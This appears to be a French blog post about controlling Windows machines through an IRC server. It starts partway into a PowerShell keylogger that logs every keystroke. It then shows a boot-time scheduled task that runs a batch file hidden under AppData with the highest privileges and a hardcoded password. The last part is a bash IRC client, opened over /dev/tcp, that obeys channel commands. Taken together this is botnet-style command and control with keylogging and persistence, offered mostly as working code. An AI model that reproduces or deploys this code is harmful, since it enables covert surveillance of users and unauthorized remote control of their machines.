StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } } # records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes Start-KeyLogger |
Ajout de tâches planifié afin de connecter le client au channel au démarrage au boot, pour cela je passe par le compte utilisateur dédié à ssh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | $task_name = "IrcD Client" $description = "Inscription du Client sur le Serveur IRC au Boot" $get_task = Get-ScheduledTask $task_name -ErrorAction SilentlyContinue $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -DontStopOnIdleEnd if ($get_task) { Write-Output "changed=no comment='Task name already exists, task not added.'" } else { $action=New-ScheduledTaskAction -Execute "cmd.exe" -Argument "C:\Users\sshuser\AppData\Local\Microsoft\Windows\Ircd\bot\lunch.bat" $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -RunLevel Highest -Action $action -Trigger $trigger -User "sshuser" -Password "password" -TaskName $task_name -Description $description -Settings $settings Write-Output "changed=yes comment='Task added succesfully.'" } |
Client IRC Pure Bash depuis : https://github.com/halhen/shic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | #!/bin/bash #./irc-client.sh -h 192.168.1.42 -p 6697 -n bashclient # Defaults [[ -z $SHIC_HOST ]] && SHIC_HOST="192.168.1.42" [[ -z $SHIC_PORT ]] && SHIC_PORT=6697 [[ -z $SHIC_NICK ]] && SHIC_NICK="$USER" [[ -z $SHIC_PASS ]] && SHIC_PASS="" [[ -z $SHIC_CHANNEL ]] && SHIC_CHANNEL="general" # Automatically execute these inputs at startup, separated by ; # e.g: SHIC_SCRIPT=":j #general; Heya all!; :s; [[ -z $SHIC_SCRIPT ]] && SHIC_SCRIPT=":j #general" # Red error, green background for private message, cyan for #general, # white for conversations in and out, and gray for everything else [[ -z $SHIC_PREFIX ]] && SHIC_PREFIX=( "\e[31m::^ERROR" "\e[42m\e[30m::(^<[^@]*@[^#])" "\e[36m::#general" "\e[0m::^<" "\e[0m::^->" "\e[1;30m::(.*)" ) # Read config files [[ -r "$HOME/.shicrc" ]] && source "$HOME/.shicrc" _xdgconf="${XDG_CONFIG_HOME:-$HOME/.config}/shic/shicrc" [[ -r "$_xdgconf" ]] && source "$_xdgconf" # Don't exit at Ctrl-C trap "echo" SIGINT # Clean up children at exit trap "kill 0" EXIT # Send raw message to server function _send() { printf "%s\r\n" "$*" >&3 } # Print for user function _output() { _prefix="" for rule in ${SHIC_PREFIX[@]}; do [[ "$@" =~ ${rule#*::} ]] && _prefix="${rule%%::*}$_prefix" done printf "$_prefix%s\e[0m\n" "$*" #regex recherchant un message destine au client irc bash courant CurrentMatch=$(printf "$*" | grep -E "^<[a-zA-Z]{1,30}@#general> GoGoGadget-[a-zA-Z]{1,30} $SHIC_NICK") if [ ! -z "$CurrentMatch" ] then echo $CurrentMatch #coupe la string sur les espaces arrIN=(${CurrentMatch// / }) echo ${arrIN[1]} case ${arrIN[1]} in [GoGoGadget-hi]*) _send "PRIVMSG #general :Hello ";; [GoGoGadget-opendoor]*) _send "PRIVMSG #general :Hello ";; [GoGoGadget-none]*) echo "$0 arrete suite a la mauvaise volonte de l'utilisateur ;-)" exit 0;; *) echo "ERREUR de saisie" exit 1;; esac #echo $CurrentMatch >> $HOME/returned.txt fi } # Handle user input function _input() { local line="$@" if [[ "${line:0:1}" != ":" ]]; then [[ -z $channel ]] && _output "ERROR: No channel to send to" && return _send "PRIVMSG $channel :$line" _output "-> $channel> $line" return fi if [[ ${#line} == 2 || ${line:2:1} == " " ]]; then _txt="${line:3}" case ${line:1:1} in m ) read -r _to _msg <<< "$_txt" && _send "PRIVMSG $_to :$_msg" && _output "-> $_to> $_msg"; return;; l ) read -r _from _msg <<< "$_txt" && _send "PART $_from :$_msg"; return;; j ) _send "JOIN $_txt"; [[ -z $channel ]] && channel=$_txt; return;; s ) channel="$_txt"; return;; q ) _send "QUIT"; exit 0;; esac fi # Not recognized command, send to server _send "${line:1}" } # Parse command line while getopts "h:p:n:k:c:v" flag; do case $flag in v) printf "shic v. 0.1, by halhen. Released to the public domain.\nSee http://github.com/halhen/shic for help.\n"; exit;; h) SHIC_HOST="$OPTARG";; p) SHIC_PORT="$OPTARG";; n) SHIC_NICK="$OPTARG";; k) SHIC_PASS="$OPTARG";; c) source "$OPTARG";; ?) printf "Unknown option. Usage: $0 [-h hostname] [-p port] [-n nick] [-k password] [-c configfile] [-v]\n" >&2; exit 1;; esac done # Open connection to server exec 3<>/dev/tcp/$SHIC_HOST/$SHIC_PORT || exit 1 # Handle messages from server # This runs as a separate process, which means that no variables are shared with # the input process. For better or for worse. Mostly for worse. { while read _line; do [[ ${_line:0:1} == ":" ]] && _source="${_line%% *}" && _line="${_line#* }" _source="${_source:1}" _user=${_source%%\!*} _txt="${_line#*:}" case "${_line%% *}" in "PING") _send "PONG" ;; "PRIVMSG") _ch="${_line%% :*}" _ch="${_ch#* }" _output "<$_user@$_ch> $_txt" ;; *) _output "$_source >< $_line" ;; esac done } <&3 & # Introduce myself [[ $SHIC_PASS ]] && _send "PASS $SHIC_PASS" _send "NICK $SHIC_NICK" _send "USER $SHIC_NICK localhost $SHIC_HOST :$SHIC_NICK" function _trim() { echo $1; } # Execute login script IFS=";" read -ra C <<< "$SHIC_SCRIPT" for _cmd in "${C[@]}"; do _input $(_trim "$_cmd") done # Handle input while read -e line; do _input "$line" done |
Partager la publication "Contrôler un parc de machine Windows au Travers d’un Serveur IRC"